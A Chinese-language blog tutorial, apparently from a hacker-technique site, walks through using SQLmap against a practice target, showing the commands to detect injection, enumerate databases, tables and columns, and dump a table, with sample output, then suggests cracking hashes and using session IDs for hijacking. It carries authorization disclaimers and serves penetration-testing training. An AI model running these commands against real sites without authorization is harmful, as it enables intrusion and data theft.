SQLmap是一款自动化的SQL注入工具，它可以帮助安全研究人员和渗透测试人员检测和利用SQL注入漏洞。下面是一个简单的SQLmap渗透注入靶机的教程：
准备环境：
安装Kali Linux或其他包含SQLmap的渗透测试操作系统。
确保你的靶机（即被测试的系统）上存在SQL注入漏洞。
下载和安装SQLmap：
在Kali Linux中，SQLmap通常已经预安装。如果没有，你可以使用apt-get等包管理器进行安装。
识别目标：
确定你想要测试的URL，并确保它存在SQL注入漏洞。
使用SQLmap进行扫描：
基本用法：使用-u参数指定目标URL，例如：sqlmap -u "http://目标网站/?id=1"。
检测注入点 ：SQLmap会尝试检测目标URL是否存在SQL注入漏洞。
获取数据库信息：
使用--dbs参数列出所有数据库名。
使用--current-db参数获取当前使用的数据库名。
使用-D <数据库名> --tables参数列出指定数据库的所有表。
使用-D <数据库名> -T <表名> --columns参数列出指定表的所有列。
获取数据：
使用-D <数据库名> -T <表名> --dump参数导出指定表的所有数据。
利用注入漏洞：
根据SQLmap提供的信息，你可以进一步利用这些漏洞，如执行任意SQL语句、提权等。
注意事项：
在进行渗透测试之前，确保你得到了合法的授权。
始终在测试环境中进行渗透测试，避免对生产环境造成影响。
谨慎处理获取的数据，确保不泄露敏感信息。
请注意，SQL注入是一种严重的安全漏洞，应该尽快修复。此教程仅用于教育和研究目的，未经授权对任何系统进行渗透测试是非法的。
下面我们开始靶机注入教程：
第一步：检测目标URL是否存在sql注入漏洞
sqlmap -u 'http://目标网站/?id=1' --batch
如果存在漏洞，就返回信息：
INFO the back-end DBMS is MySQL
web server operating system: Linux Ubuntu
web application technology: Nginx 1.18.0, PHP 5.5.38
back-end DBMS: MySQL >= 5.6
INFO fetched data logged to text files under '/home/kali/.local/share/sqlmap/output/目标URL'
这个意思是说存在sql注入漏洞，信息提取完毕。
第二步：查询所有的数据表
sqlmap -u 'http://目标网站/?id=1' --dbs --batch
接着返回读取的信息：
INFO the back-end DBMS is MySQL
web server operating system: Linux Ubuntu
web application technology: PHP 5.5.38, Nginx 1.18.0
back-end DBMS: MySQL >= 5.6
INFO fetching database names
available databases 6:
\* challenges
\* information_schema
\* mysql
\* performance_schema
\* security
\* sys
当然，这只是一个例子。不同的站点，数据表肯定不相同的。
第三步：枚举所选数据库中的表
sqlmap -u 'http://目标网站/?id=1' -D challenges --tables
接着就会返回这张数据表的一个表名
INFO fetching tables for database: 'challenges'
Database: challenges
| 1 table |
|---|
| DB4BSSY0PD |
第四步：枚举这张数据表的列
sqlmap -u 'http://目标网站/?id=1' -D challenges -T DB4BSSY0PD --columns
接着返回这张数据表的信息
Database: challenges
Table: DB4BSSY0PD
| 4 columns |
|---------------|------------------|
| Column | Type |
| id | int(2) unsigned |
| secret_6DBC | char(32) |
| sessid | char(32) |
| tryy | int(11) unsigned |
第五步：提取数据表的表名所对应的信息
sqlmap -u 'http://目标网站/?id=1' -D challenges -T DB4BSSY0PD -C id,secret_6DBC,sessid,tryy --dump
接着返回成功提取读到的信息
Table: DB4BSSY0PD
| 1 entry |
|-------------|--------------------------|------------------------------------------|------|
| id | secret_6DBC | sessid | tryy |
| 1 | 8787QWLsYdcTcDEPHLR7Nyd3 | 95de2c48a00d3a80d5c05c669214506d (53664) | 0 |
第六步：分析提取的数据
仔细审查提取的数据，特别关注secret_6DBC和sessid列，因为这些列的名称暗示它们可能包含敏感信息，如秘密值或会话ID。
secret_6DBC可能包含加密或哈希的秘密值。
sessid可能包含用户会话的标识符，这可以用于会话劫持或其他攻击。
步骤 1 : 验证数据的敏感性
如果secret_6DBC列包含哈希值，您可以尝试破解这些哈希（如果它们不是使用强哈希算法加密的）。如果包含明文密码或密钥，那么您已经发现了严重的安全漏洞。
红客技术网（blog.hongkewang.cn）
步骤 2 : 查找其他潜在漏洞
虽然您已经对DB4BSSY0PD表进行了操作，但还可以检查其他潜在的漏洞或敏感数据。例如，您可以尝试：
红客技术网（blog.hongkewang.cn）
枚举其他数据库或表。
查找其他可能的注入点。
尝试执行其他SQL命令（如果sqlmap允许）。
注意事项
红客技术网（blog.hongkewang.cn）
请确保您有权对目标进行渗透测试，并遵守所有适用的法律和道德准则。
始终谨慎行事，避免对目标系统造成不必要的损害或影响。
如果您发现敏感信息或潜在漏洞，请遵循适当的报告流程，及时通知相关方。
最后，请记住，渗透测试是一个复杂且需要谨慎的过程。确保您充分了解您正在执行的操作，并始终保持对潜在后果的警惕。
红客技术网（blog.hongkewang.cn）